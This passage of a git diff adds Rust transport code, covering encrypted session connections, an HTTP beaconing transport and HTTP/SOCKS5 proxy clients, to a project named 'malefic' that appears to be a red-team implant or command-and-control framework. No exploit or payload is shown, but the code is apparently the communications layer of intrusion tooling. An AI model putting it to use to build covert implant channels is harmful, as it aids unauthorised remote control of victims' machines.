.map_err(TransportError::ParserError)?; + Ok(Some(spites)) + } + Err(e) if e.is_connection_error() => Err(e), + Err(_) => Ok(None), + } + }; + + let timeout = Delay::new(self.deadline).fuse(); + let exchange_task_fused = exchange_task.fuse(); + futures::pin_mut!(timeout, exchange_task_fused); + + futures::select! { + result = exchange_task_fused => result, + _ = timeout => Err(TransportError::Deadline), + } + } + + pub async fn send_only(mut self, spites: Spites) -> Result<(), TransportError> { + self.session.reset_cryptor(); + + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + + let (_reader, mut writer) = self.session.split(); + let send_result = writer.write(&spite_data).await; + let _ = writer.close().await; + send_result + } + + pub fn split(self) -> (ConnectionReader, ConnectionWriter) { + let (session_reader, session_writer) = self.session.split(); + ( + ConnectionReader { + session_reader, + decrypt_key: self.decrypt_key, + }, + ConnectionWriter { + session_writer, + session_id: self.session_id, + encrypt_key: self.encrypt_key, + }, + ) + } +} + +pub struct ConnectionReader { + session_reader: SessionReader, + decrypt_key: Option, +} + +impl ConnectionReader { + pub async fn receive(&mut self) -> Result { + loop { + if let Some(spites) = self.poll().await? { + return Ok(spites); + } + } + } + + pub(crate) async fn poll(&mut self) -> Result, TransportError> { + let Some(spite_data) = self.session_reader.read().await? else { + return Ok(None); + }; + + spite_data + .parse(self.decrypt_key.as_deref()) + .map_err(TransportError::ParserError) + .map(Some) + } +} + +pub struct ConnectionWriter { + session_writer: SessionWriter, + session_id: [u8; 4], + encrypt_key: Option, +} + +impl ConnectionWriter { + pub async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + self.session_writer.write(&spite_data).await + } +} + +pub struct ConnectionBuilder { + transport: Option, + cryptor: Option, + session_id: Option<[u8; 4]>, + encrypt_key: Option, + decrypt_key: Option, + config: SessionConfig, +} + +impl ConnectionBuilder { + pub fn new(transport: InnerTransport) -> Self { + Self { + transport: Some(transport), + cryptor: None, + session_id: None, + encrypt_key: None, + decrypt_key: None, + config: SessionConfig::default(), + } + } + + pub fn with_cryptor(mut self, cryptor: Cryptor) -> Self { + self.cryptor = Some(cryptor); + self + } + + pub fn with_session_id(mut self, session_id: [u8; 4]) -> Self { + self.session_id = Some(session_id); + self + } + + pub fn with_encrypt_key(mut self, key: Option<&str>) -> Self { + self.encrypt_key = key.map(|s| s.to_string()); + self + } + + pub fn with_decrypt_key(mut self, key: Option<&str>) -> Self { + self.decrypt_key = key.map(|s| s.to_string()); + self + } + + pub fn with_config(mut self, config: SessionConfig) -> Self { + self.config = config; + self + } + + pub fn build(self) -> Result { + let transport = self.transport.ok_or(BuildError::MissingTransport)?; + let cryptor = self.cryptor.ok_or(BuildError::MissingCryptor)?; + let session_id = self.session_id.ok_or(BuildError::MissingSessionId)?; + Ok(Connection::new( + transport, + cryptor, + session_id, + self.encrypt_key.as_deref(), + self.decrypt_key.as_deref(), + self.config, + )) + } +} + +#[derive(Debug, thiserror::Error)] +pub enum BuildError { + #[error("Missing transport")] + MissingTransport, + #[error("Missing cryptor")] + MissingCryptor, + #[error("Missing session ID")] + MissingSessionId, +} + +#[allow(dead_code)] +pub fn create_connection( + transport: InnerTransport, + cryptor: Cryptor, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, +) -> Connection { + Connection::new( + transport, + cryptor, + session_id, + encrypt_key, + decrypt_key, + SessionConfig::default(), + ) +} diff --git a/malefic-crates/transport/src/http/mod.rs b/malefic-crates/transport/src/http/mod.rs new file mode 100644 index 0000000..3a1706a --- /dev/null +++ b/malefic-crates/transport/src/http/mod.rs @@ -0,0 +1,323 @@ +use crate::tcp::{new_steam, TCPTransport}; +use crate::{DialerExt, TransportError}; +use anyhow::Result; +use async_trait::async_trait; +use futures::lock::Mutex; +use futures::{AsyncRead, AsyncWrite, AsyncWriteExt}; +use malefic_common::debug; +use malefic_common::spawn; +use malefic_config::{ServerConfig, TransportConfig}; +use std::io; +use std::io::{Cursor, Read}; +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::task::{Context, Poll, Waker}; + +#[cfg(feature = "proxy")] +use crate::proxie::{AsyncProxy, Auth, HTTPProxy, Proxy, SOCKS5Proxy}; +#[cfg(feature = "proxy")] +use malefic_config::{PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_USERNAME}; + +#[derive(Clone)] +pub struct HTTPTransport { + config: ServerConfig, + inner: Arc>>, + send_buffer: Arc>>, + recv_buffer: Arc>>>, + flush_requested: Arc, + read_waker: Arc>>, + connection_error: Arc>>, +} + +impl HTTPTransport { + pub async fn new(server_config: ServerConfig) -> Result { + let transport = HTTPTransport { + config: server_config.clone(), + inner: Arc::new(Mutex::new(None)), + send_buffer: Arc::new(Mutex::new(Vec::new())), + recv_buffer: Arc::new(Mutex::new(Cursor::new(Vec::new()))), + flush_requested: Arc::new(AtomicBool::new(false)), + read_waker: Arc::new(Mutex::new(None)), + connection_error: Arc::new(Mutex::new(None)), + }; + + { + let mut bg_transport = transport.clone(); + let flag = transport.flush_requested.clone(); + let flush_poll_interval = match &transport.config.transport_config { + TransportConfig::Http(http_config) => http_config.flush_poll_interval, + _ => std::time::Duration::from_millis(1), + }; + spawn(async move { + loop { + if flag.swap(false, Ordering::SeqCst) { + if let Err(e) = bg_transport.done().await { + debug!("[transport] Background task error: {:?}", e); + } + } + futures_timer::Delay::new(flush_poll_interval).await; + } + }); + } + + Ok(transport) + } + + async fn read_chunk(&self, size: usize) -> Result> { + let mut inner_guard = self.inner.lock().await; + let transport = inner_guard.as_mut().unwrap(); + let mut chunk_buf = vec![0u8; size]; + let n = futures::AsyncReadExt::read(transport, &mut chunk_buf).await?; + if n == 0 { + return Err(TransportError::RecvError.into()); + } + chunk_buf.truncate(n); + Ok(chunk_buf) + } + + async fn done(&mut self) -> Result<()> { + let send_data = { + let buffer = self.send_buffer.lock().await; + buffer.clone() + }; + self.do_request(send_data).await?; + { + let mut buffer = self.send_buffer.lock().await; + buffer.clear(); + } + debug!("[transport] HTTP request completed, data available for reading"); + Ok(()) + } + + async fn ensure_connection(&mut self) -> Result<()> { + let mut inner_guard = self.inner.lock().await; + if inner_guard.is_none() { + let stream = new_steam(&self.config).await?; + let transport = TCPTransport::new(stream, self.config.clone()).await?; + *inner_guard = Some(transport); + debug!("[transport] HTTP connection established"); + } + Ok(()) + } + + async fn do_request(&mut self, data: Vec) -> Result<()> { + match self.ensure_connection().await { + Ok(_) => { + if let Some(mut error_guard) = self.connection_error.try_lock() { + *error_guard = None; + } + } + Err(e) => { + debug!("[transport] HTTP connection failed: {:?}", e); + if let Some(mut error_guard) = self.connection_error.try_lock() { + *error_guard = Some(TransportError::ConnectionRefused); + if let Some(mut waker_guard) = self.read_waker.try_lock() { + if let Some(waker) = waker_guard.take() { + waker.wake(); + } + } + } + if let Some(mut recv_buffer) = self.recv_buffer.try_lock() { + recv_buffer.get_mut().clear(); + recv_buffer.set_position(0); + } + return Err(e); + } + } + debug!( + "[transport] HTTP request starting, data length: {}", + data.len() + ); + let http_config = match &self.config.transport_config { + TransportConfig::Http(http_config) => http_config.clone(), + _ => return Err(TransportError::ConfigurationError.into()), + }; + { + let mut inner_guard = self.inner.lock().await; + let transport = inner_guard.as_mut().unwrap(); + let http_request = http_config.build_request(data.len()); + let mut request_buffer = Vec::with_capacity(http_request.len() + 50 + data.len()); + request_buffer.extend_from_slice(http_request.as_bytes()); + request_buffer.extend_from_slice(&data); + transport.write_all(&request_buffer).await?; + } + + let mut buffer = Vec::with_capacity(1024); + let (header_buf, body_prefix) = loop { + let chunk = self + .read_chunk(http_config.response_read_chunk_size.max(1)) + .await?; + buffer.extend_from_slice(&chunk); + if let Some(header_end_pos) = buffer + .windows(4) + .position(|window| window == b"\r\n\r\n") + .map(|pos| pos + 4) + { + let (header_part, body_part) = buffer.split_at(header_end_pos); + break (header_part.to_vec(), body_part.to_vec()); + } + if buffer.len() > buffer.capacity() - 512 { + buffer.reserve(1024); + } + }; + + let mut headers = [httparse::EMPTY_HEADER; 16]; + let mut resp = httparse::Response::new(&mut headers); + match resp.parse(&header_buf)? { + httparse::Status::Complete(_) => { + let content_length = resp + .headers + .iter() + .find(|h| h.name.eq_ignore_ascii_case("content-length")) + .and_then(|h| std::str::from_utf8(h.value).ok()) + .and_then(|s| s.parse::().ok()) + .unwrap_or(0); + if content_length == 0 { + let mut buffer = self.recv_buffer.lock().await; + *buffer = Cursor::new(Vec::new()); + return Ok(()); + } + debug!("[transport] recv body expect:{}", content_length); + self.read_response_body(content_length, body_prefix, &http_config) + .await + } + httparse::Status::Partial => Err(TransportError::RecvError.into()), + } + } + + async fn read_response_body( + &mut self, + expected_length: usize, + body_prefix: Vec, + http_config: &malefic_config::HttpRequestConfig, + ) -> Result<()> { + debug!( + "[transport] starting to read response body, expected: {} bytes, prefix: {} bytes", + expected_length, + body_prefix.len() + ); + { + let mut buffer = self.recv_buffer.lock().await; + if !body_prefix.is_empty() { + *buffer = Cursor::new(body_prefix.clone()); + if let Some(waker) = self.read_waker.lock().await.take() { + waker.wake(); + } + } else { + *buffer = Cursor::new(Vec::with_capacity(expected_length)); + } + } + + let mut remaining = expected_length.saturating_sub(body_prefix.len()); + while remaining > 0 { + let chunk_size = remaining.min(http_config.response_read_chunk_size.max(1)); + let chunk = match self.read_chunk(chunk_size).await { + Ok(chunk) => chunk, + Err(_) => { + futures_timer::Delay::new(http_config.response_retry_delay).await; + continue; + } + }; + { + let mut buffer = self.recv_buffer.lock().await; + buffer.get_mut().extend_from_slice(&chunk); + if let Some(waker) = self.read_waker.lock().await.take() { + waker.wake(); + } + } + remaining -= chunk.len(); + } + debug!( + "[transport] response body read complete, total: {} bytes", + expected_length + ); + Ok(()) + } +} + +impl AsyncRead for HTTPTransport { + fn poll_read( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + if let Some(mut error_guard) = self.connection_error.try_lock() { + if let Some(transport_error) = error_guard.take() { + return Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, transport_error))); + } + } + match self.recv_buffer.try_lock() { + Some(mut cursor) => { + let available = cursor.get_ref().len() - cursor.position() as usize; + if available == 0 { + if let Some(mut waker_guard) = self.read_waker.try_lock() { + *waker_guard = Some(cx.waker().clone()); + } + return Poll::Pending; + } + let read_len = available.min(buf.len()); + let n = cursor.read(&mut buf[..read_len]).unwrap_or(0); + Poll::Ready(Ok(n)) + } + None => { + cx.waker().wake_by_ref(); + Poll::Pending + } + } + } +} + +impl AsyncWrite for HTTPTransport { + fn poll_write( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + match self.send_buffer.try_lock() { + Some(mut buffer) => { + buffer.extend_from_slice(buf); + Poll::Ready(Ok(buf.len())) + } + None => { + cx.waker().wake_by_ref(); + Poll::Pending + } + } + } + + fn poll_flush(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll> { + self.flush_requested.store(true, Ordering::SeqCst); + Poll::Ready(Ok(())) + } + + fn poll_close(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll> { + self.flush_requested.store(true, Ordering::SeqCst); + Poll::Ready(Ok(())) + } +} + +#[derive(Clone)] +pub struct HTTPClient; + +impl HTTPClient { + pub fn new() -> Result { + Ok(HTTPClient) + } + + pub fn new_with_alias(_alias: Option<&str>) -> Result { + Self::new() + } +} + +#[async_trait] +impl DialerExt for HTTPClient { + async fn connect(&mut self, target: &crate::server_manager::Target) -> Result { + let config = target.server_config(); + debug!( + "[transport] Connecting to HTTP server at {}", + config.address + ); + HTTPTransport::new(config.clone()).await + } +} diff --git a/malefic-crates/transport/src/lib.rs b/malefic-crates/transport/src/lib.rs new file mode 100644 index 0000000..b09df82 --- /dev/null +++ b/malefic-crates/transport/src/lib.rs @@ -0,0 +1,158 @@ +#![feature(io_error_more)] +#![feature(stmt_expr_attributes)] + +#[cfg(feature = "transport_http")] +pub mod http; +#[cfg(feature = "transport_rem")] +pub mod rem; +#[cfg(feature = "tcp")] +pub mod tcp; + +#[cfg(feature = "proxy")] +pub mod proxie; + +pub mod connection; +pub mod runner; +pub mod server_manager; +pub mod session; + +use async_trait::async_trait; +use futures::{AsyncRead, AsyncWrite}; +use malefic_crypto::crypto::CryptorError; +use std::io; +use thiserror::Error; + +cfg_if::cfg_if! { + if #[cfg(feature = "transport_tcp")] { + pub use tcp::TCPTransport as InnerTransport; + pub use tcp::TCPClient as Client; + } else if #[cfg(feature = "transport_http")] { + pub use http::HTTPTransport as InnerTransport; + pub use http::HTTPClient as Client; + } else if #[cfg(feature = "transport_rem")] { + pub use rem::REMTransport as InnerTransport; + pub use rem::REMClient as Client; + } else { + compile_error!("No transport selected"); + } +} + +#[async_trait] +pub trait TransportImpl: AsyncRead + AsyncWrite + Unpin + Send {} + +impl TransportImpl for T where T: AsyncRead + AsyncWrite + Unpin + Send {} + +#[async_trait] +pub trait ListenerExt: Sized { + async fn bind(addr: &str) -> anyhow::Result; + async fn accept(&mut self) -> anyhow::Result; +} + +#[async_trait] +pub trait DialerExt { + async fn connect( + &mut self, + target: &crate::server_manager::Target, + ) -> anyhow::Result; +} + +#[cfg(feature = "bind")] +cfg_if::cfg_if! { + if #[cfg(feature = "transport_tcp")] { + pub use tcp::TCPListenerExt as Listener; + } else { + compile_error!("No transport selected"); + } +} + +#[derive(Error, Debug)] +pub enum TransportError { + #[error(transparent)] + AnyHowError(#[from] anyhow::Error), + + #[error("Failed to connect to the server")] + ConnectionError, + + #[error("Connection failed: {0}")] + ConnectFailed(String), + + #[error("Configuration error")] + ConfigurationError, + + #[error("Failed to encrypt/decrypt data")] + CryptorError(#[from] CryptorError), + + #[error("Failed to send data")] + SendError, + + #[error("Failed to send data within the timeout")] + SendTimeout, + + #[error("Deadline")] + Deadline, + + #[error("Connection refused")] + ConnectionRefused, + + #[error("Connection reset")] + ConnectionReset, + + #[error("Connection aborted")] + ConnectionAborted, + + #[error("Network unreachable")] + NetworkUnreachable, + + #[error("Other network error: {0}")] + NetworkError(String), + + #[error("Failed to receive data")] + RecvError, + + #[error("I/O Error: {0}")] + IoError(#[from] io::Error), + + #[error("Parser error: {0}")] + ParserError(#[from] malefic_proto::ParserError), + + #[error("Serialization error: {0}")] + SerializationError(String), + + #[error("Unexpected end of stream")] + UnexpectedEof, + + #[error("Unknown error occurred")] + UnknownError, +} + +impl TransportError { + pub fn is_connection_error(&self) -> bool { + match self { + TransportError::ConnectionRefused + | TransportError::ConnectionReset + | TransportError::ConnectionAborted + | TransportError::NetworkUnreachable => true, + + TransportError::IoError(e) => matches!( + e.kind(), + io::ErrorKind::ConnectionRefused + | io::ErrorKind::ConnectionReset + | io::ErrorKind::ConnectionAborted + | io::ErrorKind::NetworkUnreachable + ), + + _ => false, + } + } +} + +pub use server_manager::{ServerManager, Target}; + +pub use session::{Session, SessionConfig, SessionReader, SessionWriter}; + +pub use connection::{ + create_connection, BuildError, Connection, ConnectionBuilder, ConnectionReader, + ConnectionWriter, +}; + +pub use runner::ConnectionRunner; diff --git a/malefic-crates/transport/src/proxie/error.rs b/malefic-crates/transport/src/proxie/error.rs new file mode 100644 index 0000000..1fce281 --- /dev/null +++ b/malefic-crates/transport/src/proxie/error.rs @@ -0,0 +1,120 @@ +use std::{ + error::Error, + fmt::{Display, Formatter, Result}, + net::SocketAddr, +}; + +#[derive(Debug)] +pub struct MalformedTargetError; + +impl Display for MalformedTargetError { + fn fmt(&self, f: &mut Formatter) -> Result { + write!(f, "Malformed target address. Correct ones should be like: \"example.com:80\", \"1.2.3.4:443\", or \"[2001:db8::1]:443\". ") + } +} + +impl Error for MalformedTargetError { + fn source(&self) -> Option<&(dyn Error + 'static)> { + None + } +} + +#[derive(Debug)] +pub struct HTTPNotOKError { + pub(crate) code: Option, +} + +impl Display for HTTPNotOKError { + fn fmt(&self, f: &mut Formatter) -> Result { + match self.code { + Some(code) => write!( + f, + "HTTP proxy server responsed with a non-200 error code: {}. ", + code + ), + None => write!(f, "HTTP proxy server response invalid. "), + } + } +} + +impl Error for HTTPNotOKError { + fn source(&self) -> Option<&(dyn Error + 'static)> { + None + } +} + +#[derive(Debug)] +pub(crate) struct FailedToConnectError { + pub(crate) socket: SocketAddr, +} + +impl Display for FailedToConnectError { + fn fmt(&self, f: &mut Formatter) -> Result { + write!(f, "Failed to connect to remote host: {}. ", self.socket) + } +} + +impl Error for FailedToConnectError { + fn source(&self) -> Option<&(dyn Error + 'static)> { + None + } +} + +#[derive(Debug)] +pub(crate) struct Socks5HandshakeError { + pub(crate) socket: SocketAddr, +} + +impl Display for Socks5HandshakeError { + fn fmt(&self, f: &mut Formatter) -> Result { + write!( + f, + "Failed to complete handshake with SOCKS 5 server: {}. ", + self.socket + ) + } +} + +impl Error for Socks5HandshakeError { + fn source(&self) -> Option<&(dyn Error + 'static)> { + None + } +} + +const SOCKS5_REP_ERROR_MESSAGE: [&'static str; 8] = [ + "General SOCKS server failure", + "Connection not allowed by ruleset", + "Network unreachable", + "Host unreachable", + "Connection refused", + "TTL expired", + "Command not supported", + "Address type not supported", +]; + +#[derive(Debug)] +pub(crate) struct Socks5RequestError { + pub(crate) socket: SocketAddr, + pub(crate) error_type: u8, +} + +impl Display for Socks5RequestError { + fn fmt(&self, f: &mut Formatter) -> Result { + let reason = if self.error_type >= 1 && self.error_type <= 8 { + SOCKS5_REP_ERROR_MESSAGE[(self.error_type - 1) as usize] + } else { + "Unknown error" + }; + write!( + f, + "SOCKS 5 server {} refused request. Reason: {}. ", + self.socket, reason + ) + } +} + +impl Error for Socks5RequestError { + fn source(&self) -> Option<&(dyn Error + 'static)> { + None + } +} diff --git a/malefic-crates/transport/src/proxie/http.rs b/malefic-crates/transport/src/proxie/http.rs new file mode 100644 index 0000000..17c5b45 --- /dev/null +++ b/malefic-crates/transport/src/proxie/http.rs @@ -0,0 +1,48 @@ +use crate::proxie::{ + error::HTTPNotOKError, + proxy::{AsyncProxy, HTTPProxy, ProxyTcpStream}, + target::ToTarget, + utils::*, +}; +use anyhow::{anyhow, Result}; +use async_net::TcpStream; +use async_trait::async_trait; +use futures::io::BufReader; +use futures::{AsyncBufReadExt, AsyncWriteExt}; +use httparse::{Response, EMPTY_HEADER}; + +#[async_trait] +impl AsyncProxy for HTTPProxy { + async fn connect(&self, addr: impl ToTarget + Send) -> Result { + let request = make_http_connect_request(&addr, &self)?; + let mut stream = TcpStream::connect((&*self.server, self.port)).await?; + stream.write_all(request.as_bytes()).await?; + stream.flush().await?; + + let mut reader = BufReader::new(&mut stream); + let mut buffer = String::new(); + loop { + reader.read_line(&mut buffer).await?; + if buffer.ends_with("\r\n\r\n") { + break; + } + } + parse_http_response(&buffer.as_bytes())?; + Ok(ProxyTcpStream { stream }) + } +} + +pub(crate) fn parse_http_response(buffer: &[u8]) -> anyhow::Result<()> { + let mut headers = [EMPTY_HEADER; 64]; + let mut response = Response::new(&mut headers); + response.parse(&buffer)?; + match response.code { + Some(code) => { + if code != 200 { + return Err(anyhow!(HTTPNotOKError { code: Some(code) })); + } + } + None => return Err(anyhow!(HTTPNotOKError { code: None })), + }; + Ok(()) +} diff --git a/malefic-crates/transport/src/proxie/mod.rs b/malefic-crates/transport/src/proxie/mod.rs new file mode 100644 index 0000000..2f331c5 --- /dev/null +++ b/malefic-crates/transport/src/proxie/mod.rs @@ -0,0 +1,13 @@ +pub mod proxy; + +#[cfg(feature = "proxy")] +pub mod socks5; + +#[cfg(feature = "proxy")] +pub mod http; + +mod error; +mod target; +mod utils; + +pub use proxy::{AsyncProxy, Auth, HTTPProxy, Proxy, SOCKS5Proxy}; diff --git a/malefic-crates/transport/src/proxie/proxy.rs b/malefic-crates/transport/src/proxie/proxy.rs new file mode 100644 index 0000000..6e5b10a --- /dev/null +++ b/malefic-crates/transport/src/proxie/proxy.rs @@ -0,0 +1,119 @@ +use crate::proxie::target::ToTarget; +use anyhow::Result; +use async_net::TcpStream; +use async_trait::async_trait; +use futures::{AsyncRead, AsyncWrite}; +use std::io::Error; +use std::task::{Context, Poll}; +use std::{pin::Pin, result}; + +#[async_trait] +pub trait AsyncProxy { + async fn connect(&self, addr: impl ToTarget + Send) -> Result; +} + +pub struct ProxyTcpStream { + pub(crate) stream: TcpStream, +} + +impl ProxyTcpStream { + pub fn into_tcpstream(self) -> TcpStream { + self.stream + } +} + +impl AsyncRead for ProxyTcpStream { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + Pin::new(&mut self.stream).poll_read(cx, buf) + } +} + +impl AsyncWrite for ProxyTcpStream { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + Pin::new(&mut self.stream).poll_write(cx, buf) + } + + fn poll_flush( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + Pin::new(&mut self.stream).poll_flush(cx) + } + + fn poll_close( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + Pin::new(&mut self.stream).poll_close(cx) + } +} + +#[derive(Clone)] +pub struct Auth { + pub(crate) username: String, + pub(crate) password: String, +} + +impl Auth { + pub fn new(username: &str, password: &str) -> Option { + if username == "" { + return None; + } + Some(Self { + username: String::from(username), + password: String::from(password), + }) + } +} + +#[derive(Clone)] +pub enum Proxy { + HTTP(HTTPProxy), + SOCKS5(SOCKS5Proxy), +} + +#[derive(Clone)] +pub struct HTTPProxy { + pub(crate) server: String, + pub(crate) port: u16, + pub(crate) auth: Option, +} + +impl HTTPProxy { + pub fn new>>(server: &str, port: u16, auth: T) -> Self { + Self { + server: server.into(), + port, + auth: auth.into(), + } + } +} + +#[derive(Clone)] +pub struct SOCKS5Proxy { + pub(crate) server: String, + pub(crate) port: u16, + pub(crate) auth: Option, +} + +impl SOCKS5Proxy { + pub fn new>>(server: &str, port: u16, auth: T) -> Self { + Self { + server: server.into(), + port, + auth: auth.into(), + } + } +} + +pub(crate) enum SOCKS5Command { + CONNECT, +} diff --git a/malefic-crates/transport/src/proxie/socks5.rs b/malefic-crates/transport/src/proxie/socks5.rs new file mode 100644 index 0000000..d9ff699 --- /dev/null +++ b/malefic-crates/transport/src/proxie/socks5.rs @@ -0,0 +1,112 @@ +use crate::proxie::{ + error::*, + proxy::{AsyncProxy, ProxyTcpStream, SOCKS5Command, SOCKS5Proxy}, + target::ToTarget, + utils::*, +}; +use anyhow::{anyhow, Result}; +use async_net::TcpStream; +use async_trait::async_trait; +use futures::io::BufReader; +use futures::{AsyncReadExt, AsyncWriteExt}; + +#[async_trait] +impl AsyncProxy for SOCKS5Proxy { + async fn connect(&self, addr: impl ToTarget + Send) -> Result { + let mut stream = TcpStream::connect((&*self.server, self.port)).await?; + let auth_method = self.async_std_connect(&mut stream).await?; + if auth_method == 0x02 { + self.async_std_authenticate(&mut stream).await?; + } + self.async_std_request(&mut stream, addr).await?; + Ok(ProxyTcpStream { stream }) + } +} + +impl SOCKS5Proxy { + async fn async_std_connect(&self, stream: &mut TcpStream) -> Result { + let peer = stream.peer_addr()?; + let request = make_socks5_initial_request(&self.auth); + stream.write_all(&request).await?; + stream.flush().await?; + + let mut reader = BufReader::new(stream); + let mut buffer = vec![0u8; 2]; + let mut buffer_len = 0; + while buffer_len < 2 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + if buffer[1] == 0xFF { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); + } + Ok(buffer[1]) + } + + async fn async_std_authenticate(&self, stream: &mut TcpStream) -> Result<()> { + let peer = stream.peer_addr()?; + let request = match &self.auth { + Some(auth) => make_socks5_authentication_request(&auth), + None => return Err(anyhow!(Socks5HandshakeError { socket: peer })), + }; + stream.write_all(&request).await?; + stream.flush().await?; + + let mut reader = BufReader::new(stream); + let mut buffer = vec![0u8; 2]; + let mut buffer_len = 0; + while buffer_len < 2 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + if buffer[1] != 0x00 { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); + } + Ok(()) + } + + async fn async_std_request(&self, stream: &mut TcpStream, addr: impl ToTarget) -> Result<()> { + let target = addr.to_target()?; + let peer = stream.peer_addr()?; + let request = make_socks5_request(SOCKS5Command::CONNECT, &target)?; + stream.write_all(&request).await?; + stream.flush().await?; + + let mut reader = BufReader::new(stream); + let mut buffer = vec![0u8; 512]; + let mut buffer_len = 0; + while buffer_len < 4 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + if buffer[3] == 0x01 { + while buffer_len < 10 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + } else if buffer[3] == 0x04 { + while buffer_len < 22 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + } else if buffer[3] == 0x03 { + while buffer_len < 5 { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + while buffer_len < 7 + buffer[4] as usize { + let read = reader.read(&mut buffer[buffer_len..]).await?; + buffer_len += read; + } + } else { + return Err(anyhow!(Socks5HandshakeError { socket: peer })); + } + if buffer[1] != 0x00 { + return Err(anyhow!(Socks5RequestError { + socket: peer, + error_type: buffer[1] + })); + } + Ok(()) + } +} diff --git a/malefic-crates/transport/src/proxie/target.rs b/malefic-crates/transport/src/proxie/target.rs new file mode 100644 index 0000000..1a78941 --- /dev/null +++ b/malefic-crates/transport/src/proxie/target.rs @@ -0,0 +1,96 @@ +use crate::proxie::error::*; +use std::{ + net::{Ipv4Addr, Ipv6Addr, SocketAddr}, + string::ToString, +}; + +pub(crate) enum TargetHost { + IPv4(Ipv4Addr), + IPv6(Ipv6Addr), + Hostname(String), +} + +pub struct Target { + pub(crate) host: TargetHost, + pub(crate) port: u16, +} + +impl Target { + pub(crate) fn new(host: TargetHost, port: u16) -> Self { + Self { host, port } + } +} + +impl ToString for Target { + fn to_string(&self) -> String { + match &self.host { + TargetHost::IPv4(host) => format!("{}:{}", host, self.port), + TargetHost::IPv6(host) => format!("{}:{}", host, self.port), + TargetHost::Hostname(host) => format!("{}:{}", host, self.port), + } + } +} + +pub trait ToTarget { + fn to_target(&self) -> Result; +} + +impl ToTarget for &str { + fn to_target(&self) -> Result { + let colon_pos = match self.find(':') { + Some(pos) => pos, + None => return Err(MalformedTargetError), + }; + let host = &self[0..colon_pos]; + let port_str = &self[colon_pos + 1..]; + let port = match port_str.parse::() { + Ok(port) => port, + Err(_) => return Err(MalformedTargetError), + }; + let host = if host.starts_with('[') && host.ends_with(']') { + match host[1..host.len() - 1].parse::() { + Ok(ip) => TargetHost::IPv6(ip), + Err(_) => return Err(MalformedTargetError), + } + } else { + match host.parse::() { + Ok(ip) => TargetHost::IPv4(ip), + Err(_) => { + if host.is_empty() || host.ends_with('.') { + return Err(MalformedTargetError); + } + if host + .chars() + .any(|c| !c.is_ascii_alphanumeric() && c != '.' && c != '-') + { + return Err(MalformedTargetError); + } + TargetHost::Hostname(host.into()) + } + } + }; + Ok(Target::new(host, port)) + } +} + +impl ToTarget for String { + fn to_target(&self) -> Result { + (&**self).to_target() + } +} + +impl ToTarget for &String { + fn to_target(&self) -> Result { + (&**self).to_target() + } +} + +impl ToTarget for SocketAddr { + fn to_target(&self) -> Result { + let host = match self { + SocketAddr::V4(socket) => TargetHost::IPv4(*socket.ip()), + SocketAddr::V6(socket) => TargetHost::IPv6(*socket.ip()), + }; + Ok(Target::new(host, self.port())) + } +} diff --git a/malefic-crates/transport/src/proxie/utils.rs b/malefic-crates/transport/src/proxie/utils.rs new file mode 100644 index 0000000..ff9feb5 --- /dev/null +++ b/malefic-crates/transport/src/proxie/utils.rs @@ -0,0 +1,86 @@ +use crate::proxie::{ + proxy::{Auth, HTTPProxy, SOCKS5Command}, + target::{Target, TargetHost, ToTarget}, +}; +use anyhow::Result; +use base64::{engine::general_purpose, Engine as _}; + +pub(crate) fn make_http_connect_request(addr: &impl ToTarget, proxy: &HTTPProxy) -> Result { + let addr = addr.to_target()?.to_string(); + let mut request = format!( + "CONNECT {0} HTTP/1.1\r\n\ + Host: {0}\r\n\ + User-Agent: proxie/0.0\r\n\ + Proxy-Connection: Keep-Alive\r\n", + addr + ); + if let Some(auth) = &proxy.auth { + let raw_auth = format!("{}:{}", auth.username, auth.password); + let encoded_auth: String = general_purpose::STANDARD.encode(raw_auth.as_bytes()); + request.push_str(&format!("Proxy-Authorization: Basic {}\r\n", encoded_auth)); + } + request.push_str("\r\n"); + Ok(request) +} + +pub(crate) fn make_socks5_initial_request(auth: &Option) -> Vec { + let mut request = vec![0x05]; + match auth { + Some(_) => { + request.push(2u8); + request.push(0x00); + request.push(0x02); + } + None => { + request.push(1u8); + request.push(0x00); + } + } + request +} + +pub(crate) fn make_socks5_authentication_request(auth: &Auth) -> Vec { + let mut request = vec![0x01]; + request.push(auth.username.len() as u8); + for c in auth.username.chars() { + request.push(c as u8); + } + request.push(auth.password.len() as u8); + for c in auth.password.chars() { + request.push(c as u8); + } + request +} + +pub(crate) fn make_socks5_request(cmd: SOCKS5Command, target: &Target) -> Result> { + let mut request = vec![0x05]; + let cmd = match cmd { + SOCKS5Command::CONNECT => 0x01, + }; + request.push(cmd); + request.push(0x00); + match &target.host { + TargetHost::IPv4(ip) => { + request.push(0x01); + for byte in ip.octets() { + request.push(byte); + } + } + TargetHost::IPv6(ip) => { + request.push(0x04); + for byte in ip.octets() { + request.push(byte); + } + } + TargetHost::Hostname(host) => { + request.push(0x03); + request.push(host.len() as u8); + for c in host.chars() { + request.push(c as u8); + 